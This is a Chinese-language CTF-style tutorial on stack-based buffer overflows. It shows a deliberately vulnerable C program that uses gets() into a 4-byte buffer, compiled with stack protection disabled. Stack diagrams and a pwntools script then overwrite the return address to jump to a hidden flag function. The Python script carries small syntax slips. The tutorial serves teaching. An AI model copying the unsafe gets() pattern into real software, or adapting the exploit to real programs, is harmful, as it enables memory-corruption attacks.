(我今天想不到前言)
在上一次我們成功利用 buffer overflow 改變變數的值,但是我們如果想要直接或是間接控制程式流程,我們還需要了解怎摩覆蓋 retrun address。
下面我們用例子來實際操作一遍:
#include<stdio.h>
void name(){
char buf[4];
printf("Input your name: ");
gets(buf);
printf("Hello, %s\n", buf);
return;
}
void flag(){
printf("flag{2023ironman}\n");
return;
}
int main(){
name();
return 0;
}
我們使用
gcc -m32 -fno-stack-protector lab.c -o lab
為了實驗方便,我們先把保護機制關掉。
-fno-stack-protector:不開啟 stack 保護機制,即不開啟 canary,他是在 Stack 中的隨機數字,如果我們用 overflow 覆蓋掉此值,導致和原先 Canary 放置的數值不相等,程式就會中斷。
至於要怎麼繞過 Canary,之後有機會再寫。
接下來我們使用 IDA 打開(也可以用 gdb)
我們可以看到
我們留的 buf 的位置在 ebp-0ch,所以整個記憶體會變這樣:
low address
======================================
-------------------
| buf |
------------------- <== buf(ebp-0xc)
| |
| |
------------------- <== ebp
| old ebp |
-------------------
| return addr |
-------------------
======================================
high address
因此若我們輸入超過 4 bytes,例如輸入 aaaaaaaaaaaabbbb 就會變這樣:
low address
======================================
-------------------
| aaaa |
------------------- <== buf(ebp-0xc)
| aaaa |
| aaaa |
------------------- <== ebp
| bbbb |
-------------------
| return addr |
-------------------
======================================
high address
接下來我們只要找到想要的位址接在後面我們就能成功覆蓋 return address 讓他變成我們想要的位置了。
我們從 IDA 的旁邊看看有沒有有趣的函數,結果發現有一個叫 flag 的函數。
點進去發現他位址在 0x080491D5
補充:用 gdb 可以使用 info function 查看函數,以及使用 info address [func name] 查看位址。
意思就是我們只要想辦法變成下面這樣,就能成功執行 flag 了。
low address
======================================
--------------------
| aaaa |
-------------------- <== buf(ebp-0xc)
| aaaa |
| aaaa |
-------------------- <== ebp
| bbbb |
--------------------
| \xd5\x91\x04\x08 | (little endian)
-------------------
======================================
high address
而要把 \xd5\x91\x04\x08 作為字元輸進去,我們可以使用 pwntool。
用 python3 寫的 script 如下:
from pwn import *
r = process('./pwn_32') // 連接本機執行檔
addr = 0x080491D5 // 要執行的目標地址
payload = 'a'.encode() * 0xc + 'bbbb'.encode() + p32(addr)
r.send(payload)
r.interactive() // 交互模式
執行起來會變這樣
以上就是使用 Stack-Based Buffer Overflow 覆蓋 return address 的作法。
而我們的 Basic 系列也終於從簡介 Pwn、記憶體配置、工具的用法、覆蓋變數值到今天覆蓋 return address 到一個段落了。
終於,可以進入正題了。
source:匯圖網
就是海鮮雜燴啦~ 不能吃的人就不要看這篇和嗆我了